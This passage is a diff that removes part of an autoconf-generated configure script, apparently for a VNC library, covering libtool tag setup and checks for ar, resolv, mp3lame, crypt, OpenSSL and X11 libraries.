-# Run-time system search path for libraries
-sys_lib_dlsearch_path_spec=$lt_sys_lib_dlsearch_path_spec
-
-# Fix the shell variable \$srcfile for the compiler.
-fix_srcfile_path="$fix_srcfile_path_RC"
-
-# Set to yes if exported symbols are required.
-always_export_symbols=$always_export_symbols_RC
-
-# The commands to list exported symbols.
-export_symbols_cmds=$lt_export_symbols_cmds_RC
-
-# The commands to extract the exported symbol list from a shared archive.
-extract_expsyms_cmds=$lt_extract_expsyms_cmds
-
-# Symbols that should not be listed in the preloaded symbols.
-exclude_expsyms=$lt_exclude_expsyms_RC
-
-# Symbols that must always be exported.
-include_expsyms=$lt_include_expsyms_RC
-
-# ### END LIBTOOL TAG CONFIG: $tagname
-
-__EOF__
-
-
-else
- # If there is no Makefile yet, we rely on a make rule to execute
- # `config.status --recheck' to rerun these tests and create the
- # libtool script then.
- ltmain_in=`echo $ltmain | sed -e 's/\.sh$/.in/'`
- if test -f "$ltmain_in"; then
- test -f Makefile && make "$ltmain"
- fi
-fi
-
-
-ac_ext=c
-ac_cpp='$CPP $CPPFLAGS'
-ac_compile='$CC -c $CFLAGS $CPPFLAGS conftest.$ac_ext >&5'
-ac_link='$CC -o conftest$ac_exeext $CFLAGS $CPPFLAGS $LDFLAGS conftest.$ac_ext $LIBS >&5'
-ac_compiler_gnu=$ac_cv_c_compiler_gnu
-
-CC="$lt_save_CC"
-
- ;;
-
- *)
- as_fn_error $? "Unsupported tag name: $tagname" "$LINENO" 5
- ;;
- esac
-
- # Append the new tag name to the list of available tags.
- if test -n "$tagname" ; then
- available_tags="$available_tags $tagname"
- fi
- fi
- done
- IFS="$lt_save_ifs"
-
- # Now substitute the updated list of available tags.
- if eval "sed -e 's/^available_tags=.*\$/available_tags=\"$available_tags\"/' \"$ofile\" > \"${ofile}T\""; then
- mv "${ofile}T" "$ofile"
- chmod +x "$ofile"
- else
- rm -f "${ofile}T"
- as_fn_error $? "unable to update list of available tagged configurations." "$LINENO" 5
- fi
-fi
-
-
-
-# This can be used to rebuild libtool when needed
-LIBTOOL_DEPS="$ac_aux_dir/ltmain.sh"
-
-# Always use our own libtool.
-LIBTOOL='$(SHELL) $(top_builddir)/libtool'
-
-# Prevent multiple expansion
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-# Extract the first word of "ar", so it can be a program name with args.
-set dummy ar; ac_word=$2
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
-$as_echo_n "checking for $ac_word... " >&6; }
-if ${ac_cv_path_AR+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- case $AR in
- [\\/]* | ?:[\\/]*)
- ac_cv_path_AR="$AR" # Let the user override the test with a path.
- ;;
- *)
- as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
-as_dummy="$PATH:/usr/ccs/bin"
-for as_dir in $as_dummy
-do
- IFS=$as_save_IFS
- test -z "$as_dir" && as_dir=.
- for ac_exec_ext in '' $ac_executable_extensions; do
- if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
- ac_cv_path_AR="$as_dir/$ac_word$ac_exec_ext"
- $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
- break 2
- fi
-done
- done
-IFS=$as_save_IFS
-
- test -z "$ac_cv_path_AR" && ac_cv_path_AR="/usr/bin/ar"
- ;;
-esac
-fi
-AR=$ac_cv_path_AR
-if test -n "$AR"; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: $AR" >&5
-$as_echo "$AR" >&6; }
-else
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
-$as_echo "no" >&6; }
-fi
-
-
-
-# Options
-
-
-# Check whether --with-tightvnc-filetransfer was given.
-if test "${with_tightvnc_filetransfer+set}" = set; then :
- withval=$with_tightvnc_filetransfer;
-else
- with_tightvnc_filetransfer=yes
-fi
-
-# AC_DEFINE moved to after libpthread check.
-
-# WebSockets support
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for __b64_ntop in -lresolv" >&5
-$as_echo_n "checking for __b64_ntop in -lresolv... " >&6; }
-if ${ac_cv_lib_resolv___b64_ntop+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- ac_check_lib_save_LIBS=$LIBS
-LIBS="-lresolv $LIBS"
-cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-
-/* Override any GCC internal prototype to avoid an error.
- Use char because int might match the return type of a GCC
- builtin and then its argument prototype would still apply. */
-#ifdef __cplusplus
-extern "C"
-#endif
-char __b64_ntop ();
-int
-main ()
-{
-return __b64_ntop ();
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_link "$LINENO"; then :
- ac_cv_lib_resolv___b64_ntop=yes
-else
- ac_cv_lib_resolv___b64_ntop=no
-fi
-rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
-LIBS=$ac_check_lib_save_LIBS
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_lib_resolv___b64_ntop" >&5
-$as_echo "$ac_cv_lib_resolv___b64_ntop" >&6; }
-if test "x$ac_cv_lib_resolv___b64_ntop" = xyes; then :
- HAVE_B64="true"
-else
- HAVE_B64="false"
-fi
-
-
-
-# Check whether --with-websockets was given.
-if test "${with_websockets+set}" = set; then :
- withval=$with_websockets;
-else
- with_websockets=yes
-fi
-
-# AC_DEFINE moved to after libresolve check.
-
-
-
-# Check whether --with-24bpp was given.
-if test "${with_24bpp+set}" = set; then :
- withval=$with_24bpp;
-else
- with_24bpp=yes
-fi
-
-if test "x$with_24bpp" = "xyes"; then
- $as_echo "#define ALLOW24BPP 1" >>confdefs.h
-
-fi
-
-
-# Check whether --with-ffmpeg was given.
-if test "${with_ffmpeg+set}" = set; then :
- withval=$with_ffmpeg;
-fi
-
-
- if test ! -z "$with_ffmpeg"; then
- WITH_FFMPEG_TRUE=
- WITH_FFMPEG_FALSE='#'
-else
- WITH_FFMPEG_TRUE='#'
- WITH_FFMPEG_FALSE=
-fi
-
-if test ! -z "$with_ffmpeg"; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for lame_init in -lmp3lame" >&5
-$as_echo_n "checking for lame_init in -lmp3lame... " >&6; }
-if ${ac_cv_lib_mp3lame_lame_init+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- ac_check_lib_save_LIBS=$LIBS
-LIBS="-lmp3lame $LIBS"
-cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-
-/* Override any GCC internal prototype to avoid an error.
- Use char because int might match the return type of a GCC
- builtin and then its argument prototype would still apply. */
-#ifdef __cplusplus
-extern "C"
-#endif
-char lame_init ();
-int
-main ()
-{
-return lame_init ();
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_link "$LINENO"; then :
- ac_cv_lib_mp3lame_lame_init=yes
-else
- ac_cv_lib_mp3lame_lame_init=no
-fi
-rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
-LIBS=$ac_check_lib_save_LIBS
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_lib_mp3lame_lame_init" >&5
-$as_echo "$ac_cv_lib_mp3lame_lame_init" >&6; }
-if test "x$ac_cv_lib_mp3lame_lame_init" = xyes; then :
- HAVE_MP3LAME="true"
-else
- HAVE_MP3LAME="false"
-fi
-
-fi
- if test "$HAVE_MP3LAME" = "true"; then
- HAVE_MP3LAME_TRUE=
- HAVE_MP3LAME_FALSE='#'
-else
- HAVE_MP3LAME_TRUE='#'
- HAVE_MP3LAME_FALSE=
-fi
-
-
-# Seem to need this dummy here to induce the 'checking for egrep... grep -E', etc.
-# before it seemed to be inside the with_jpeg conditional.
-ac_fn_c_check_header_mongrel "$LINENO" "thenonexistentheader.h" "ac_cv_header_thenonexistentheader_h" "$ac_includes_default"
-if test "x$ac_cv_header_thenonexistentheader_h" = xyes; then :
- HAVE_THENONEXISTENTHEADER_H="true"
-fi
-
-
-
-# set some ld -R nonsense
-#
-uname_s=`(uname -s) 2>/dev/null`
-ld_minus_R="yes"
-if test "x$uname_s" = "xHP-UX"; then
- ld_minus_R="no"
-elif test "x$uname_s" = "xOSF1"; then
- ld_minus_R="no"
-elif test "x$uname_s" = "xDarwin"; then
- ld_minus_R="no"
-fi
-
-# Check for OpenSSL
-
-
-# Check whether --with-crypt was given.
-if test "${with_crypt+set}" = set; then :
- withval=$with_crypt;
-fi
-
-if test "x$with_crypt" != "xno"; then
- for ac_func in crypt
-do :
- ac_fn_c_check_func "$LINENO" "crypt" "ac_cv_func_crypt"
-if test "x$ac_cv_func_crypt" = xyes; then :
- cat >>confdefs.h <<_ACEOF
-#define HAVE_CRYPT 1
-_ACEOF
- HAVE_LIBC_CRYPT="true"
-fi
-done
-
- if test -z "$HAVE_LIBC_CRYPT"; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for crypt in -lcrypt" >&5
-$as_echo_n "checking for crypt in -lcrypt... " >&6; }
-if ${ac_cv_lib_crypt_crypt+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- ac_check_lib_save_LIBS=$LIBS
-LIBS="-lcrypt $LIBS"
-cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-
-/* Override any GCC internal prototype to avoid an error.
- Use char because int might match the return type of a GCC
- builtin and then its argument prototype would still apply. */
-#ifdef __cplusplus
-extern "C"
-#endif
-char crypt ();
-int
-main ()
-{
-return crypt ();
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_link "$LINENO"; then :
- ac_cv_lib_crypt_crypt=yes
-else
- ac_cv_lib_crypt_crypt=no
-fi
-rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
-LIBS=$ac_check_lib_save_LIBS
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_lib_crypt_crypt" >&5
-$as_echo "$ac_cv_lib_crypt_crypt" >&6; }
-if test "x$ac_cv_lib_crypt_crypt" = xyes; then :
- CRYPT_LIBS="-lcrypt"
- $as_echo "#define HAVE_LIBCRYPT 1" >>confdefs.h
-
-fi
-
- fi
-fi
-
-
-# some OS's need both -lssl and -lcrypto on link line:
-
-
-# Check whether --with-crypto was given.
-if test "${with_crypto+set}" = set; then :
- withval=$with_crypto;
-fi
-
-
-
-
-# Check whether --with-ssl was given.
-if test "${with_ssl+set}" = set; then :
- withval=$with_ssl;
-fi
-
-
-if test "x$with_crypto" != "xno" -a "x$with_ssl" != "xno"; then
- if test ! -z "$with_ssl" -a "x$with_ssl" != "xyes"; then
- saved_CPPFLAGS="$CPPFLAGS"
- saved_LDFLAGS="$LDFLAGS"
- CPPFLAGS="$CPPFLAGS -I$with_ssl/include"
- LDFLAGS="$LDFLAGS -L$with_ssl/lib"
- if test "x$ld_minus_R" = "xno"; then
- :
- elif test "x$GCC" = "xyes"; then
- LDFLAGS="$LDFLAGS -Xlinker -R$with_ssl/lib"
- else
- LDFLAGS="$LDFLAGS -R$with_ssl/lib"
- fi
- fi
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for RAND_file_name in -lcrypto" >&5
-$as_echo_n "checking for RAND_file_name in -lcrypto... " >&6; }
-if ${ac_cv_lib_crypto_RAND_file_name+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- ac_check_lib_save_LIBS=$LIBS
-LIBS="-lcrypto $LIBS"
-cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-
-/* Override any GCC internal prototype to avoid an error.
- Use char because int might match the return type of a GCC
- builtin and then its argument prototype would still apply. */
-#ifdef __cplusplus
-extern "C"
-#endif
-char RAND_file_name ();
-int
-main ()
-{
-return RAND_file_name ();
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_link "$LINENO"; then :
- ac_cv_lib_crypto_RAND_file_name=yes
-else
- ac_cv_lib_crypto_RAND_file_name=no
-fi
-rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
-LIBS=$ac_check_lib_save_LIBS
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_lib_crypto_RAND_file_name" >&5
-$as_echo "$ac_cv_lib_crypto_RAND_file_name" >&6; }
-if test "x$ac_cv_lib_crypto_RAND_file_name" = xyes; then :
- $as_echo "#define HAVE_LIBCRYPTO 1" >>confdefs.h
- HAVE_LIBCRYPTO="true"
-fi
-
- if test ! -z "$with_ssl" -a "x$with_ssl" != "xyes"; then
- if test "x$HAVE_LIBCRYPTO" != "xtrue"; then
- CPPFLAGS="$saved_CPPFLAGS"
- LDFLAGS="$saved_LDFLAGS"
- fi
- fi
-fi
-
-
-if test "x$with_ssl" != "xno"; then
- if test "x$HAVE_LIBCRYPTO" = "xtrue"; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for SSL_library_init in -lssl" >&5
-$as_echo_n "checking for SSL_library_init in -lssl... " >&6; }
-if ${ac_cv_lib_ssl_SSL_library_init+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- ac_check_lib_save_LIBS=$LIBS
-LIBS="-lssl -lcrypto $LIBS"
-cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-
-/* Override any GCC internal prototype to avoid an error.
- Use char because int might match the return type of a GCC
- builtin and then its argument prototype would still apply. */
-#ifdef __cplusplus
-extern "C"
-#endif
-char SSL_library_init ();
-int
-main ()
-{
-return SSL_library_init ();
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_link "$LINENO"; then :
- ac_cv_lib_ssl_SSL_library_init=yes
-else
- ac_cv_lib_ssl_SSL_library_init=no
-fi
-rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
-LIBS=$ac_check_lib_save_LIBS
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_lib_ssl_SSL_library_init" >&5
-$as_echo "$ac_cv_lib_ssl_SSL_library_init" >&6; }
-if test "x$ac_cv_lib_ssl_SSL_library_init" = xyes; then :
- SSL_LIBS="-lssl -lcrypto"
- $as_echo "#define HAVE_LIBSSL 1" >>confdefs.h
- HAVE_LIBSSL="true"
-fi
-
- else
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for SSL_library_init in -lssl" >&5
-$as_echo_n "checking for SSL_library_init in -lssl... " >&6; }
-if ${ac_cv_lib_ssl_SSL_library_init+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- ac_check_lib_save_LIBS=$LIBS
-LIBS="-lssl $LIBS"
-cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-
-/* Override any GCC internal prototype to avoid an error.
- Use char because int might match the return type of a GCC
- builtin and then its argument prototype would still apply. */
-#ifdef __cplusplus
-extern "C"
-#endif
-char SSL_library_init ();
-int
-main ()
-{
-return SSL_library_init ();
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_link "$LINENO"; then :
- ac_cv_lib_ssl_SSL_library_init=yes
-else
- ac_cv_lib_ssl_SSL_library_init=no
-fi
-rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
-LIBS=$ac_check_lib_save_LIBS
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_lib_ssl_SSL_library_init" >&5
-$as_echo "$ac_cv_lib_ssl_SSL_library_init" >&6; }
-if test "x$ac_cv_lib_ssl_SSL_library_init" = xyes; then :
- SSL_LIBS="-lssl"
- $as_echo "#define HAVE_LIBSSL 1" >>confdefs.h
- HAVE_LIBSSL="true"
-fi
-
- fi
-fi
-
- if test ! -z "$SSL_LIBS"; then
- HAVE_LIBSSL_TRUE=
- HAVE_LIBSSL_FALSE='#'
-else
- HAVE_LIBSSL_TRUE='#'
- HAVE_LIBSSL_FALSE=
-fi
-
-
-# Checks for X libraries
-HAVE_X11="false"
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for X" >&5
-$as_echo_n "checking for X... " >&6; }
-
-
-# Check whether --with-x was given.
-if test "${with_x+set}" = set; then :
- withval=$with_x;
-fi
-
-# $have_x is `yes', `no', `disabled', or empty when we do not yet know.
-if test "x$with_x" = xno; then
- # The user explicitly disabled X.
- have_x=disabled
-else
- case $x_includes,$x_libraries in #(
- *\'*) as_fn_error $? "cannot use X directory names containing '" "$LINENO" 5;; #(
- *,NONE | NONE,*) if ${ac_cv_have_x+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- # One or both of the vars are not set, and there is no cached value.
-ac_x_includes=no ac_x_libraries=no
-rm -f -r conftest.dir
-if mkdir conftest.dir; then
- cd conftest.dir
- cat >Imakefile <<'_ACEOF'
-incroot:
- @echo incroot='${INCROOT}'
-usrlibdir:
- @echo usrlibdir='${USRLIBDIR}'
-libdir:
- @echo libdir='${LIBDIR}'
-_ACEOF
- if (export CC; ${XMKMF-xmkmf}) >/dev/null 2>/dev/null && test -f Makefile; then
- # GNU make sometimes prints "make[1]: Entering ...", which would confuse us.
- for ac_var in incroot usrlibdir libdir; do
- eval "ac_im_$ac_var=\`\${MAKE-make} $ac_var 2>/dev/null | sed -n 's/^$ac_var=//p'\`"
- done
- # Open Windows xmkmf reportedly sets LIBDIR instead of USRLIBDIR.
- for ac_extension in a so sl dylib la dll; do
- if test ! -f "$ac_im_usrlibdir/libX11.$ac_extension" &&
- test -f "$ac_im_libdir/libX11.$ac_extension"; then
- ac_im_usrlibdir=$ac_im_libdir; break
- fi
- done
- # Screen out bogus values from the imake configuration. They are
- # bogus both because they are the default anyway, and because
- # using them would break gcc on systems where it needs fixed includes.
- case $ac_im_incroot in
- /usr/include) ac_x_includes= ;;
- *) test -f "$ac_im_incroot/X11/Xos.h" && ac_x_includes=$ac_im_incroot;;
- esac
- case $ac_im_usrlibdir in
- /usr/lib | /usr/lib64 | /lib | /lib64) ;;
- *) test -d "$ac_im_usrlibdir" && ac_x_libraries=$ac_im_usrlibdir ;;
- esac
- fi
- cd ..
- rm -f -r conftest.dir
-fi
-
-# Standard set of common directories for X headers.
-# Check X11 before X11Rn because it is often a symlink to the current release.
-ac_x_header_dirs='
-/usr/X11/include
-/usr/X11R7/include
-/usr/X11R6/include
-/usr/X11R5/include
-/usr/X11R4/include
-
-/usr/include/X11
-/usr/include/X11R7
-/usr/include/X11R6
-/usr/include/X11R5
-/usr/include/X11R4
-
-/usr/local/X11/include
-/usr/local/X11R7/include
-/usr/local/X11R6/include
-/usr/local/X11R5/include
-/usr/local/X11R4/include
-
-/usr/local/include/X11
-/usr/local/include/X11R7
-/usr/local/include/X11R6
-/usr/local/include/X11R5
-/usr/local/include/X11R4
-
-/usr/X386/include
-/usr/x386/include
-/usr/XFree86/include/X11
-
-/usr/include
-/usr/local/include
-/usr/unsupported/include
-/usr/athena/include
-/usr/local/x11r5/include
-/usr/lpp/Xamples/include
-
-/usr/openwin/include
-/usr/openwin/share/include'
-
-if test "$ac_x_includes" = no; then
- # Guess where to find include files, by looking for Xlib.h.
- # First, try using that file with no special directory specified.
- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-#include <X11/Xlib.h>
-_ACEOF
-if ac_fn_c_try_cpp "$LINENO"; then :
- # We can compile using X headers with no special include directory.
-ac_x_includes=
-else
- for ac_dir in $ac_x_header_dirs; do
- if test -r "$ac_dir/X11/Xlib.h"; then
- ac_x_includes=$ac_dir
- break
- fi
-done
-fi
-rm -f conftest.err conftest.i conftest.$ac_ext
-fi # $ac_x_includes = no
-
-if test "$ac_x_libraries" = no; then
- # Check for the libraries.
- # See if we find them without any special options.
- # Don't add to $LIBS permanently.
- ac_save_LIBS=$LIBS
- LIBS="-lX11 $LIBS"
- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-#include <X11/Xlib.h>
-int
-main ()
-{
-XrmInitialize ()
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_link "$LINENO"; then :
- LIBS=$ac_save_LIBS
-# We can link X programs with no special library path.
-ac_x_libraries=
-else
- LIBS=$ac_save_LIBS
-for ac_dir in `$as_echo "$ac_x_includes $ac_x_header_dirs" | sed s/include/lib/g`
-do
- # Don't even attempt the hair of trying to link an X program!
- for ac_extension in a so sl dylib la dll; do
- if test -r "$ac_dir/libX11.$ac_extension"; then
- ac_x_libraries=$ac_dir
- break 2
- fi
- done
-done
-fi
-rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
-fi # $ac_x_libraries = no
-
-case $ac_x_includes,$ac_x_libraries in #(
- no,* | *,no | *\'*)
- # Didn't find X, or a directory has "'" in its name.
- ac_cv_have_x="have_x=no";; #(
- *)
- # Record where we found X for the cache.
- ac_cv_have_x="have_x=yes\
- ac_x_includes='$ac_x_includes'\
- ac_x_libraries='$ac_x_libraries'"
-esac
-fi
-;; #(
- *) have_x=yes;;
- esac
- eval "$ac_cv_have_x"
-fi # $with_x != no
-
-if test "$have_x" != yes; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: $have_x" >&5
-$as_echo "$have_x" >&6; }
- no_x=yes
-else
- # If each of the values was on the command line, it overrides each guess.
- test "x$x_includes" = xNONE && x_includes=$ac_x_includes
- test "x$x_libraries" = xNONE && x_libraries=$ac_x_libraries
- # Update the cache value to reflect the command line values.
- ac_cv_have_x="have_x=yes\
- ac_x_includes='$x_includes'\
- ac_x_libraries='$x_libraries'"
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: libraries $x_libraries, headers $x_includes" >&5
-$as_echo "libraries $x_libraries, headers $x_includes" >&6; }
-fi
-
-if test "$no_x" = yes; then
- # Not all programs may use this symbol, but it does not hurt to define it.
-
-$as_echo "#define X_DISPLAY_MISSING 1" >>confdefs.h
-
- X_CFLAGS= X_PRE_LIBS= X_LIBS= X_EXTRA_LIBS=
-else
- if test -n "$x_includes"; then
- X_CFLAGS="$X_CFLAGS -I$x_includes"
- fi
-
- # It would also be nice to do this for all -L options, not just this one.
- if test -n "$x_libraries"; then
- X_LIBS="$X_LIBS -L$x_libraries"
- # For Solaris; some versions of Sun CC require a space after -R and
- # others require no space. Words are not sufficient . . . .
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking whether -R must be followed by a space" >&5
-$as_echo_n "checking whether -R must be followed by a space... " >&6; }
- ac_xsave_LIBS=$LIBS; LIBS="$LIBS -R$x_libraries"
- ac_xsave_c_werror_flag=$ac_c_werror_flag
- ac_c_werror_flag=yes
- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-
-int
-main ()
-{
-
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_link "$LINENO"; then :
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
-$as_echo "no" >&6; }
- X_LIBS="$X_LIBS -R$x_libraries"
-else
- LIBS="$ac_xsave_LIBS -R $x_libraries"
- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-
-int
-main ()
-{
-
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_link "$LINENO"; then :
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: yes" >&5
-$as_echo "yes" >&6; }
- X_LIBS="$X_LIBS -R $x_libraries"
-else
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: neither works" >&5
-$as_echo "neither works" >&6; }
-fi
-rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
-fi
-rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
- ac_c_werror_flag=$ac_xsave_c_werror_flag
- LIBS=$ac_xsave_LIBS
- fi
-
- # Check for system-dependent libraries X programs must link with.
- # Do this before checking for the system-independent R6 libraries
- # (-lICE), since we may need -lsocket or whatever for X linking.
-
- if test "$ISC" = yes; then
- X_EXTRA_LIBS="$X_EXTRA_LIBS -lnsl_s -linet"
- else
- # Martyn Johnson says this is needed for Ultrix, if the X
- # libraries were built with DECnet support. And Karl Berry says
- # the Alpha needs dnet_stub (dnet does not exist).
- ac_xsave_LIBS="$LIBS"; LIBS="$LIBS $X_LIBS -lX11"
- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-
-/* Override any GCC internal prototype to avoid an error.
- Use char because int might match the return type of a GCC
- builtin and then its argument prototype would still apply. */
-#ifdef __cplusplus
-extern "C"
-#endif
-char XOpenDisplay ();
-int
-main ()
-{
-return XOpenDisplay ();
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_link "$LINENO"; then :
-
-else
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for dnet_ntoa in -ldnet" >&5
-$as_echo_n "checking for dnet_ntoa in -ldnet... " >&6; }
-if ${ac_cv_lib_dnet_dnet_ntoa+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- ac_check_lib_save_LIBS=$LIBS
-LIBS="-ldnet $LIBS"
-cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-
-/* Override any GCC internal prototype to avoid an error.
- Use char because int might match the return type of a GCC
- builtin and then its argument prototype would still apply. */
-#ifdef __cplusplus
-extern "C"
-#endif
-char dnet_ntoa ();
-int
-main ()
-{
-return dnet_ntoa ();
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_link "$LINENO"; then :
- ac_cv_lib_dnet_dnet_ntoa=yes
-else
- ac_cv_lib_dnet_dnet_ntoa=no
-fi
-rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
-LIBS=$ac_check_lib_save_LIBS
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_lib_dnet_dnet_ntoa" >&5
-$as_echo "$ac_cv_lib_dnet_dnet_ntoa" >&6; }
-if test "x$ac_cv_lib_dnet_dnet_ntoa" = xyes; then :
- X_EXTRA_LIBS="$X_EXTRA_LIBS -ldnet"
-fi
-
- if test $ac_cv_lib_dnet_dnet_ntoa = no; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for dnet_ntoa in -ldnet_stub" >&5
-$as_echo_n "checking for dnet_ntoa in -ldnet_stub... " >&6; }
-if ${ac_cv_lib_dnet_stub_dnet_ntoa+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- ac_check_lib_save_LIBS=$LIBS
-LIBS="-ldnet_stub $LIBS"
-cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-
-/* Override any GCC internal prototype to avoid an error.
- Use char because int might match the return type of a GCC
- builtin and then its argument prototype would still apply. */
-#ifdef __cplusplus
-extern "C"
-#endif
-char dnet_ntoa ();
-int
-main ()
-{
-return dnet_ntoa ();
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_link "$LINENO"; then :
- ac_cv_lib_dnet_stub_dnet_ntoa=yes
-else
- ac_cv_lib_dnet_stub_dnet_ntoa=no
-fi
-rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
-LIBS=$ac_check_lib_save_LIBS
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_lib_dnet_stub_dnet_ntoa" >&5
-$as_echo "$ac_cv_lib_dnet_stub_dnet_ntoa" >&6; }
-if test "x$ac_cv_lib_dnet_stub_dnet_ntoa" = xyes; then :
- X_EXTRA_LIBS="$X_EXTRA_LIBS -ldnet_stub"
-fi
-
- fi
-fi
-rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
- LIBS="$ac_xsave_LIBS"
-
- # msh@cis.ufl.edu says -lnsl (and -lsocket) are needed for his 386/AT,
- # to get the SysV transport functions.
- # Chad R. Larson says the Pyramis MIS-ES running DC/OSx (SVR4)
- # needs -lnsl.
- # The nsl library prevents programs from opening the X display
- # on Irix 5.2, according to T.E. Dickey.
- # The functions gethostbyname, getservbyname, and inet_addr are
- # in -lbsd on LynxOS 3.0.1/i386, according to Lars Hecking.
- ac_fn_c_check_func "$LINENO" "gethostbyname" "ac_cv_func_gethostbyname"
-if test "x$ac_cv_func_gethostbyname" = xyes; then :
-
-fi
-
- if test $ac_cv_func_gethostbyname = no; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for gethostbyname in -lnsl" >&5
-$as_echo_n "checking for gethostbyname in -lnsl... " >&6; }
-if ${ac_cv_lib_nsl_gethostbyname+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- ac_check_lib_save_LIBS=$LIBS
-LIBS="-lnsl $LIBS"
-cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-
-/* Override any GCC internal prototype to avoid an error.
- Use char because int might match the return type of a GCC
- builtin and then its argument prototype would still apply. */
-#ifdef __cplusplus
-extern "C"
-#endif
-char gethostbyname ();
-int
-main ()
-{
-return gethostbyname ();
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_link "$LINENO"; then :
- ac_cv_lib_nsl_gethostbyname=yes
-else
- ac_cv_lib_nsl_gethostbyname=no
-fi
-rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
-LIBS=$ac_check_lib_save_LIBS
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_lib_nsl_gethostbyname" >&5
-$as_echo "$ac_cv_lib_nsl_gethostbyname" >&6; }
-if test "x$ac_cv_lib_nsl_gethostbyname" = xyes; then :
- X_EXTRA_LIBS="$X_EXTRA_LIBS -lnsl"
-fi
-
- if test $ac_cv_lib_nsl_gethostbyname = no; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for gethostbyname in -lbsd" >&5
